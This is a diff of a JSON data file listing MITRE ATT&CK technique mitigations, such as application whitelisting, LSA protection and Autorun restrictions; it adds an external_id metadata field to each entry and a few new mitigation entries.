"description": "To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)\n\nIf possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)\n\nIdentify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Accessibility Features Mitigation - T1015",
- "uuid": "c085476e-1964-4d7f-86e1-d8657a7741e8"
+ "uuid": "c085476e-1964-4d7f-86e1-d8657a7741e8",
+ "meta": {
+ "external_id": "T1015"
+ }
},
{
"description": "Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)",
"value": "Bootkit Mitigation - T1067",
- "uuid": "96150c35-466f-4f0a-97a9-ae87ee27f751"
+ "uuid": "96150c35-466f-4f0a-97a9-ae87ee27f751",
+ "meta": {
+ "external_id": "T1067"
+ }
},
{
"description": "Take measures to detect or prevent techniques such as Credential Dumping or installation of keyloggers to acquire credentials through Input Capture. Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access). Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege)",
"value": "Valid Accounts Mitigation - T1078",
- "uuid": "d45f03a8-790a-4f90-b956-cd7e5b8886bf"
+ "uuid": "d45f03a8-790a-4f90-b956-cd7e5b8886bf",
+ "meta": {
+ "external_id": "T1078"
+ }
},
{
"description": "Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.\n\nBrowser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)\n\nChange settings to prevent the browser from installing extensions without sufficient permissions.\n\nClose out all browser sessions when finished using them.",
"value": "Browser Extensions Mitigation - T1176",
- "uuid": "b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8"
+ "uuid": "b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8",
+ "meta": {
+ "external_id": "T1176"
+ }
},
{
"description": "Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.",
"value": "Disabling Security Tools Mitigation - T1089",
- "uuid": "388606d3-f38f-45bf-885d-a9dc9df3c8a8"
+ "uuid": "388606d3-f38f-45bf-885d-a9dc9df3c8a8",
+ "meta": {
+ "external_id": "T1089"
+ }
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Query Registry Mitigation - T1012",
- "uuid": "0640214c-95af-4c04-a574-2a1ba6dda00b"
+ "uuid": "0640214c-95af-4c04-a574-2a1ba6dda00b",
+ "meta": {
+ "external_id": "T1012"
+ }
},
{
"description": "Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.",
"value": ".bash_profile and .bashrc Mitigation - T1156",
- "uuid": "4f170666-7edb-4489-85c2-9affa28a72e0"
+ "uuid": "4f170666-7edb-4489-85c2-9affa28a72e0",
+ "meta": {
+ "external_id": "T1156"
+ }
},
{
"description": "Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module)",
"value": "System Firmware Mitigation - T1019",
- "uuid": "25e53928-6f33-49b7-baee-8180578286f6"
+ "uuid": "25e53928-6f33-49b7-baee-8180578286f6",
+ "meta": {
+ "external_id": "T1019"
+ }
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
"value": "Multiband Communication Mitigation - T1026",
- "uuid": "da987565-27b6-4b31-bbcd-74b909847116"
+ "uuid": "da987565-27b6-4b31-bbcd-74b909847116",
+ "meta": {
+ "external_id": "T1026"
+ }
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Remote System Discovery Mitigation - T1018",
- "uuid": "9a902722-cecd-4fbe-a6c9-49333aa0f8c2"
+ "uuid": "9a902722-cecd-4fbe-a6c9-49333aa0f8c2",
+ "meta": {
+ "external_id": "T1018"
+ }
},
{
"description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "File and Directory Discovery Mitigation - T1083",
- "uuid": "2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1"
+ "uuid": "2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1",
+ "meta": {
+ "external_id": "T1083"
+ }
+ },
+ {
+ "description": "Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.\n\nLKMs and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.\n\nApplication whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)",
+ "value": "Kernel Modules and Extensions Mitigation - T1215",
+ "uuid": "44155d14-ca75-4fdf-b033-ab3d732e2884",
+ "meta": {
+ "external_id": "T1215"
+ }
},
{
"description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)\n\nTurn off UAC's privilege elevation for standard users [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]to automatically deny elevation requests, add: \"ConsentPromptBehaviorUser\"=dword:00000000 (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: \"EnableInstallerDetection\"=dword:00000001. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: \"EnableInstallerDetection\"=dword:00000000. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.",
"value": "File System Permissions Weakness Mitigation - T1044",
- "uuid": "1022138b-497c-40e6-b53a-13351cbd4090"
+ "uuid": "1022138b-497c-40e6-b53a-13351cbd4090",
+ "meta": {
+ "external_id": "T1044"
+ }
},
{
"description": "Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Service Execution Mitigation - T1035",
- "uuid": "d5dce4b9-f1fa-4c03-aff9-ce177246cb64"
+ "uuid": "d5dce4b9-f1fa-4c03-aff9-ce177246cb64",
+ "meta": {
+ "external_id": "T1035"
+ }
},
{
"description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised.",
"value": "Setuid and Setgid Mitigation - T1166",
- "uuid": "073cc04d-ac46-4f5a-85d7-83a91ecd6a19"
+ "uuid": "073cc04d-ac46-4f5a-85d7-83a91ecd6a19",
+ "meta": {
+ "external_id": "T1166"
+ }
},
{
"description": "Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.",
"value": "Trap Mitigation - T1154",
- "uuid": "809b79cd-be78-4597-88d1-5496d1d9993a"
+ "uuid": "809b79cd-be78-4597-88d1-5496d1d9993a",
+ "meta": {
+ "external_id": "T1154"
+ }
},
{
"description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)",
"value": "Communication Through Removable Media Mitigation - T1092",
- "uuid": "b8d57b16-d8e2-428c-a645-1083795b3445"
+ "uuid": "b8d57b16-d8e2-428c-a645-1083795b3445",
+ "meta": {
+ "external_id": "T1092"
+ }
},
{
"description": "Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.\n\nIdentify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Two-Factor Authentication Interception Mitigation - T1111",
- "uuid": "e8d22ec6-2236-48de-954b-974d17492782"
+ "uuid": "e8d22ec6-2236-48de-954b-974d17492782",
+ "meta": {
+ "external_id": "T1111"
+ }
},
{
"description": "On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL to dword:00000001. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.\n\nOn Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)\n\nEnsure safe DLL search mode is enabled HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\SafeDllSearchMode to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)",
"value": "LSASS Driver Mitigation - T1177",
- "uuid": "7a6e5ca3-562f-4185-a323-f3b62b5b2e6b"
+ "uuid": "7a6e5ca3-562f-4185-a323-f3b62b5b2e6b",
+ "meta": {
+ "external_id": "T1177"
+ }
},
{
"description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
"value": "Standard Non-Application Layer Protocol Mitigation - T1095",
- "uuid": "399d9038-b100-43ef-b28d-a5065106b935"
+ "uuid": "399d9038-b100-43ef-b28d-a5065106b935",
+ "meta": {
+ "external_id": "T1095"
+ }
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
"value": "Data Transfer Size Limits Mitigation - T1030",
- "uuid": "ba06d68a-4891-4eb5-b634-152e05ec60ee"
+ "uuid": "ba06d68a-4891-4eb5-b634-152e05ec60ee",
+ "meta": {
+ "external_id": "T1030"
+ }
},
{
"description": "Upgrade to Windows 8 or later and enable secure boot.\n\nIdentify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
"value": "AppInit DLLs Mitigation - T1103",
- "uuid": "10571bf2-8073-4edf-a71c-23bad225532e"
+ "uuid": "10571bf2-8073-4edf-a71c-23bad225532e",
+ "meta": {
+ "external_id": "T1103"
+ }
},
{
"description": "InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
"value": "InstallUtil Mitigation - T1118",
- "uuid": "ec418d1b-4963-439f-b055-f914737ef362"
+ "uuid": "ec418d1b-4963-439f-b055-f914737ef362",
+ "meta": {
+ "external_id": "T1118"
+ }
},
{
"description": "Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)\n\nIdentify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Shortcut Modification Mitigation - T1023",
- "uuid": "a13e35cc-8c90-4d77-a965-5461042c1612"
+ "uuid": "a13e35cc-8c90-4d77-a965-5461042c1612",
+ "meta": {
+ "external_id": "T1023"
+ }
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
"value": "Custom Command and Control Protocol Mitigation - T1094",
- "uuid": "f3d0c735-330f-43c2-8e8e-51bcfa51e8c3"
+ "uuid": "f3d0c735-330f-43c2-8e8e-51bcfa51e8c3",
+ "meta": {
+ "external_id": "T1094"
+ }
},
{
"description": "Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Automated Exfiltration Mitigation - T1020",
- "uuid": "2497ac92-e751-4391-82c6-1b86e34d0294"
+ "uuid": "2497ac92-e751-4391-82c6-1b86e34d0294",
+ "meta": {
+ "external_id": "T1020"
+ }
+ },
+ {
+ "description": "Apply supply chain risk management (SCRM) practices and procedures (Citation: MITRE SE Guide 2014), such as supply chain analysis and appropriate risk management, throughout the life-cycle of a system.\n\nLeverage established software development lifecycle (SDLC) practices (Citation: NIST Supply Chain 2012): \n* Uniquely Identify Supply Chain Elements, Processes, and Actors\n* Limit Access and Exposure within the Supply Chain\n* Establish and Maintain the Provenance of Elements, Processes, Tools, and Data\n* Share Information within Strict Limits\n* Perform SCRM Awareness and Training\n* Use Defensive Design for Systems, Elements, and Processes\n* Perform Continuous Integrator Review\n* Strengthen Delivery Mechanisms\n* Assure Sustainment Activities and Processes\n* Manage Disposal and Final Disposition Activities throughout the System or Element Life Cycle",
+ "value": "Supply Chain Compromise Mitigation - T1195",
+ "uuid": "97d8eadb-0459-4c1d-bf1a-e053bd75df61",
+ "meta": {
+ "external_id": "T1195"
+ }
},
{
"description": "Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations. (Citation: MSDN File Associations)\n\nIdentify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Change Default File Association Mitigation - T1042",
- "uuid": "d7c49196-b40e-42bc-8eed-b803113692ed"
+ "uuid": "d7c49196-b40e-42bc-8eed-b803113692ed",
+ "meta": {
+ "external_id": "T1042"
+ }
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Peripheral Device Discovery Mitigation - T1120",
- "uuid": "1881da33-fdf2-4eea-afd0-e04caf9c000f"
+ "uuid": "1881da33-fdf2-4eea-afd0-e04caf9c000f",
+ "meta": {
+ "external_id": "T1120"
+ }
+ },
+ {
+ "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.\n\nRestrict storage and execution of Control Panel items to protected directories, such as C:\\Windows, rather than user directories.\n\nIndex known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files.\n\nConsider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)",
+ "value": "Control Panel Items Mitigation - T1196",
+ "uuid": "3a41b366-cfd6-4af2-a6e7-3c6e3c4ebcef",
+ "meta": {
+ "external_id": "T1196"
+ }
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
"value": "Standard Application Layer Protocol Mitigation - T1071",
- "uuid": "addb3703-5a59-4461-9bcd-7e2b5d4e92a0"
+ "uuid": "addb3703-5a59-4461-9bcd-7e2b5d4e92a0",
+ "meta": {
+ "external_id": "T1071"
+ }
},
{
"description": "Prevent users from changing the HISTCONTROL environment variable (Citation: Securing bash history). Also, make sure that the HISTCONTROL environment variable is set to “ignoredup” instead of “ignoreboth” or “ignorespace”.",
"value": "HISTCONTROL Mitigation - T1148",
- "uuid": "03c0c586-50ed-45a7-95f4-f496d7eb5330"
+ "uuid": "03c0c586-50ed-45a7-95f4-f496d7eb5330",
+ "meta": {
+ "external_id": "T1148"
+ }
},
{
"description": "Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nIn cases where this behavior is difficult to detect or mitigate, efforts can be made to lessen some of the impact that might result from an adversary acquiring credential information. It is also good practice to follow mitigation recommendations for adversary use of Valid Accounts.",
"value": "Input Capture Mitigation - T1056",
- "uuid": "da8a87d2-946d-4c34-9a30-709058b98996"
+ "uuid": "da8a87d2-946d-4c34-9a30-709058b98996",
+ "meta": {
+ "external_id": "T1056"
+ }
},
{
"description": "Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).",
"value": "Login Item Mitigation - T1162",
- "uuid": "06824aa2-94a5-474c-97f6-57c2e983d885"
+ "uuid": "06824aa2-94a5-474c-97f6-57c2e983d885",
+ "meta": {
+ "external_id": "T1162"
+ }
},
{
"description": "Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
"value": "Security Support Provider Mitigation - T1101",
- "uuid": "9e57c770-5a39-49a2-bb91-253ba629e3ac"
+ "uuid": "9e57c770-5a39-49a2-bb91-253ba629e3ac",
+ "meta": {
+ "external_id": "T1101"
+ }
},
{
"description": "Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)",
"value": "SSH Hijacking Mitigation - T1184",
- "uuid": "41cff8e9-fd05-408e-b3d5-d98c54c20bcf"
+ "uuid": "41cff8e9-fd05-408e-b3d5-d98c54c20bcf",
+ "meta": {
+ "external_id": "T1184"
+ }
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Process Discovery Mitigation - T1057",
- "uuid": "f6469191-1814-4dbe-a081-2a6daf83a10b"
+ "uuid": "f6469191-1814-4dbe-a081-2a6daf83a10b",
+ "meta": {
+ "external_id": "T1057"
+ }
+ },
+ {
+ "description": "Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.\n\nNetwork intrusion detection and prevention systems that use network signatures may be able to prevent traffic to these services as well.\n\nUse application whitelisting to mitigate use of and installation of unapproved software.",
+ "value": "Remote Access Tools Mitigation - T1219",
+ "uuid": "af093bc8-7b59-4e2a-9da8-8e839b4c50c6",
+ "meta": {
+ "external_id": "T1219"
+ }
},
{
"description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)\n\nIdentify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Replication Through Removable Media Mitigation - T1091",
- "uuid": "effb83a0-ead1-4b36-b7f6-b7bdf9c4616e"
+ "uuid": "effb83a0-ead1-4b36-b7f6-b7bdf9c4616e",
+ "meta": {
+ "external_id": "T1091"
+ }
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
"value": "Scheduled Transfer Mitigation - T1029",
- "uuid": "1c0711c8-2a73-48a1-893d-ff88bcd23824"
+ "uuid": "1c0711c8-2a73-48a1-893d-ff88bcd23824",
+ "meta": {
+ "external_id": "T1029"
+ }
},
{
"description": "Prevent adversary access to privileged accounts necessary to install a hypervisor.",
"value": "Hypervisor Mitigation - T1062",
- "uuid": "2c3ce852-06a2-40ee-8fe6-086f6402a739"
+ "uuid": "2c3ce852-06a2-40ee-8fe6-086f6402a739",
+ "meta": {
+ "external_id": "T1062"
+ }
},
{
"description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through Input Capture and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through Brute Force techniques.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Automated Collection Mitigation - T1119",
- "uuid": "8bd1ae32-a686-48f4-a6f8-470287f76152"
+ "uuid": "8bd1ae32-a686-48f4-a6f8-470287f76152",
+ "meta": {
+ "external_id": "T1119"
+ }
},
{
"description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)",
"value": "Exfiltration Over Physical Medium Mitigation - T1052",
- "uuid": "e547ed6a-f1ca-40df-8613-2ce27927f145"
+ "uuid": "e547ed6a-f1ca-40df-8613-2ce27927f145",
+ "meta": {
+ "external_id": "T1052"
+ }
},
{
"description": "There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the \"auto-elevate\" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC. \n\nChanging UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.",
"value": "Application Shimming Mitigation - T1138",
- "uuid": "cfc2d2fc-14ff-495f-bd99-585be47b804f"
+ "uuid": "cfc2d2fc-14ff-495f-bd99-585be47b804f",
+ "meta": {
+ "external_id": "T1138"
+ }
},
{
"description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.",
"value": "Local Job Scheduling Mitigation - T1168",
- "uuid": "c47a9b55-8f61-4b82-b833-1db6242c754e"
+ "uuid": "c47a9b55-8f61-4b82-b833-1db6242c754e",
+ "meta": {
+ "external_id": "T1168"
+ }
},
{
"description": "Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.",
"value": "Hidden Files and Directories Mitigation - T1158",
- "uuid": "84d633a4-dd93-40ca-8510-40238c021931"
+ "uuid": "84d633a4-dd93-40ca-8510-40238c021931",
+ "meta": {
+ "external_id": "T1158"
+ }
},
{
"description": "Prevent files from having a trailing space after the extension.",
"value": "Space after Filename Mitigation - T1151",
- "uuid": "02f0f92a-0a51-4c94-9bda-6437b9a93f22"
+ "uuid": "02f0f92a-0a51-4c94-9bda-6437b9a93f22",
+ "meta": {
+ "external_id": "T1151"
+ }
},
{
"description": "Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros. (Citation: TechNet Office Macro Security)\n\nFor the Office Test method, create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)",
"value": "Office Application Startup Mitigation - T1137",
- "uuid": "8ca6a5e0-aae5-49bc-8d07-f888c7dba9ea"
+ "uuid": "8ca6a5e0-aae5-49bc-8d07-f888c7dba9ea",
+ "meta": {
+ "external_id": "T1137"
+ }
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
"value": "Data Encoding Mitigation - T1132",
- "uuid": "fcbe8424-eb3e-4794-b76d-e743f5a49b8b"
+ "uuid": "fcbe8424-eb3e-4794-b76d-e743f5a49b8b",
+ "meta": {
+ "external_id": "T1132"
+ }
},
{
"description": "Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.",
"value": "Source Mitigation - T1153",
- "uuid": "5391ece4-8866-415d-9b5e-8dc5944f612a"
+ "uuid": "5391ece4-8866-415d-9b5e-8dc5944f612a",
+ "meta": {
+ "external_id": "T1153"
+ }
},
{
"description": "Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.",
"value": "DLL Side-Loading Mitigation - T1073",
- "uuid": "7a14d974-f3d9-4e4e-9b7d-980385762908"
